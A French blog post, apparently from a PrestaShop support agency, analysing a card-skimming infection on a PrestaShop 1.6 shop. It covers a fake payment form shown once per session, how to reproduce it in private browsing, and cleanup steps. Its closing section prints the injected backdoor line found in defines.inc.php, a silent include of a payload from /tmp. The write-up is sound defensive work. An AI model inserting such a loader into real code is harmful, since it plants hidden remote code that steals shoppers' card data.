[Solution] Nouveau virus PrestaShop 1.6 : faux formulaire de carte

Adam PrestaShop 05.02.2026 Reading time: 7 min

Nouveau virus sur PrestaShop 1.6, plus difficile à détecter que le précédent. Ces derniers jours, nous avons rencontré un nouveau cas d’activité malveillante…

Un nouveau virus sur PrestaShop 1.6 – plus difficile à détecter que le précédent

Ces derniers jours, nous avons rencontré un nouveau cas d’activité malveillante dans une boutique sous PrestaShop 1.6. C’est important : à ce stade, un seul cas est confirmé et il concerne précisément la version 1.6 (cela ne signifie pas que le problème ne peut pas apparaître ailleurs – nous ne l’avons simplement pas encore confirmé). Ce qui distingue cette attaque de la précédente, c’est la façon dont elle s’affiche et « masque » ses traces. En pratique, le client peut voir un faux écran de paiement, tandis que vous – en tant qu’administrateur – pouvez ne rien voir de suspect lors d’une session standard. formulaire avec un virus PrestaShop

Ce qui existait avant : la variante des « fichiers se faisant passer pour des photos »

La vague d’attaques précédente consistait notamment à créer des fichiers se faisant passer pour des images (au premier coup d’œil, ils ressemblaient à des photos). Cette variante est désormais largement « éventée » – nous savons la repérer rapidement, la filtrer et supprimer la menace. Si vous ne connaissez pas le sujet, voici la description de la première version de l’attaque (avec des exemples et le mécanisme) : Faux formulaire de carte bancaire piégé par un virus – description et analyse.

Ce qui change aujourd’hui : une nouvelle attaque et un faux formulaire « à usage unique »

La différence essentielle : il n’apparaît qu’une fois par session

La nouvelle variante est nettement plus rusée :

le faux formulaire ne s’affiche qu’une seule fois par session,
après ce « premier affichage », il disparaît et ne réapparaît plus, ni pour le client ni pour l’administrateur durant la même session,
pour le revoir, il faut passer par le mode privé / navigation privée (c’est-à-dire une nouvelle session « propre »).

Cela complique le diagnostic, car beaucoup de personnes vérifient le problème en « actualisant la page » ou simplement dans le même navigateur.

Le formulaire est différent du précédent

Dans les cas précédents, nous avions souvent affaire à un ajout assez « grossier » – au premier regard, quelque chose ne cadrait pas avec le thème ou le paiement. Ici, c’est différent : l’écran lui-même est autre, plus « crédible », et il peut ressembler à une étape du paiement par carte – en particulier dans les tunnels de commande où figurent d’autres moyens de paiement comme Przelewy24, BLIK, etc. En bref : si vous vous souvenez du précédent « faux », celui-ci peut tromper même les personnes qui ont déjà traité le sujet.

Important : le virus ne masque pas les autres paiements (par ex. Przelewy24)

Dans cette nouvelle variante, prêtez attention à un autre point : le faux formulaire ne remplace pas et ne masque pas les autres moyens de paiement. Le tunnel de commande semble « normal » – vous voyez toujours par ex. Przelewy24, BLIK, le paiement en plusieurs fois, etc., et le bloc suspect de paiement par carte apparaît à côté / dans la section des paiements. C’est précisément ce qui renforce la crédibilité de l’attaque, car le client a l’impression qu’il s’agit simplement d’un moyen de paiement de plus dans la boutique, et non de quelque chose « à la place » des paiements.

Comment reconnaître que vous avez ce problème

Symptômes côté client

Soyez attentif aux signaux suivants :

un écran suggérant un paiement par carte apparaît soudainement, alors que ce n’est pas ainsi que fonctionne normalement la boutique,
un client signale un « formulaire étrange », une « page de paiement étrange » ou des « fenêtres de carte »,
le problème est impossible à reproduire en mode normal, mais revient en navigation privée,
les clients voient quelque chose que vous ne trouvez ni dans le back-office ni dans la même session.

Symptômes lors des tests

Le test le plus simple (et souvent le seul qui le révèle) :

Ouvrez la boutique en mode privé / navigation privée.
Allez dans le panier et passez au paiement.
Si vous voyez un formulaire suspect – fermez l’onglet.
Rouvrez la même chose dans la même session de navigation privée – il peut ne pas revenir.
Ouvrez une nouvelle fenêtre de navigation privée – il apparaîtra souvent de nouveau.

Si cette logique se vérifie, il y a de très fortes chances qu’il s’agisse de cette nouvelle variante.

Pourquoi il est si difficile à détecter

Les fichiers semblent propres

Dans ce cas précis :

nous avons analysé les fichiers (core + thème + overrides + modules) et, à première vue, tout est propre,
on ne voit pas d’« ajouts » évidents comme dans la version précédente,
nous creusons donc plus profondément – la piste la plus probable est la base de données (par ex. un fragment injecté dans la configuration, les contenus CMS, les traductions, les paramètres de modules, les hooks enregistrés en base, etc.).

Cela explique aussi pourquoi l’analyse classique des fichiers peut ne rien montrer.

Ce que nous faisons maintenant : le combat continue, et nous avons une protection « immédiate »

Le plus important : le combat continue. Comme nous n’avons pas encore réussi à localiser sans ambiguïté la source du faux formulaire, nous avons écrit un programme qui agit comme un « bouclier » :

il détecte et masque le faux formulaire,
il réduit le risque avant que nous ne remontions à la cause initiale,
il nous permet de continuer à recueillir des informations de diagnostic sans exposer les clients au danger.

C’est une solution provisoire (mais très pratique), car dans ce type d’attaques, c’est le temps de réaction qui compte – et pas seulement l’identification « parfaite » du coupable dans la première heure.

Ce que vous pouvez faire dès maintenant si vous soupçonnez une infection

Mesures immédiates

vérifiez le tunnel de commande en navigation privée (plusieurs essais, différents navigateurs),
si vous utilisez d’anciennes intégrations de paiement, traitez le sujet en priorité (en particulier la zone commande et paiements),
changez les mots de passe du back-office, du FTP/SSH, de la base de données et de l’espace d’hébergement,
passez en revue les comportements suspects de ces derniers jours (connexions, modifications de fichiers, nouveaux comptes administrateur).

Ce que nous vérifions en arrière-plan

poursuite de l’analyse de la base de données à la recherche d’injections,
traque du mécanisme « one time per session »,
cartographie des conditions d’affichage (user-agent, referrer, langue, devise, source du trafic).

Si votre boutique tourne sous PrestaShop 1.6, considérez cela comme un signal d’alerte : cette version est déjà ancienne, et les attaquants visent souvent précisément les environnements plus anciens.

Solution — ce que nous avons trouvé

Dans ce cas précis, la source du problème s’est avérée être le fichier defines.inc.php dans le répertoire /config/. Tout à la fin du commentaire de licence, à la ligne 25, une instruction avait été ajoutée :

php

*/ @include('/tmp/1');

Cette seule ligne suffisait à charger un code externe malveillant depuis le répertoire temporaire du serveur (/tmp/1). L’opérateur @ supprimait toutes les erreurs — si le fichier n’existait pas, rien ne se passait ; s’il existait, une charge utile arbitraire s’exécutait sans aucune trace dans les journaux PHP.

Pourquoi était-ce si difficile à détecter ? La boutique était fortement modifiée — tant au niveau du thème et des overrides que des fichiers du core eux-mêmes. Avec un grand nombre de changements par rapport à la version d’origine de PrestaShop 1.6, une ligne supplémentaire dans un fichier de configuration se perd facilement dans le bruit. Les scanners standard qui comparent les fichiers avec l’original signalaient des dizaines de différences, ce qui masquait efficacement cette unique modification vraiment dangereuse. De plus, defines.inc.php n’est pas le premier endroit que l’on inspecte lorsqu’on cherche des injections — l’attention se porte généralement sur les templates, les modules de paiement ou les fichiers JS.

Conclusions : pour les installations très modifiées, l’analyse automatique ne suffit pas — l’essentiel est de passer manuellement en revue les fichiers de configuration et de les comparer avec des versions propres de PrestaShop, en portant une attention particulière aux instructions include, require, eval et file_get_contents placées là où elles ne devraient pas se trouver.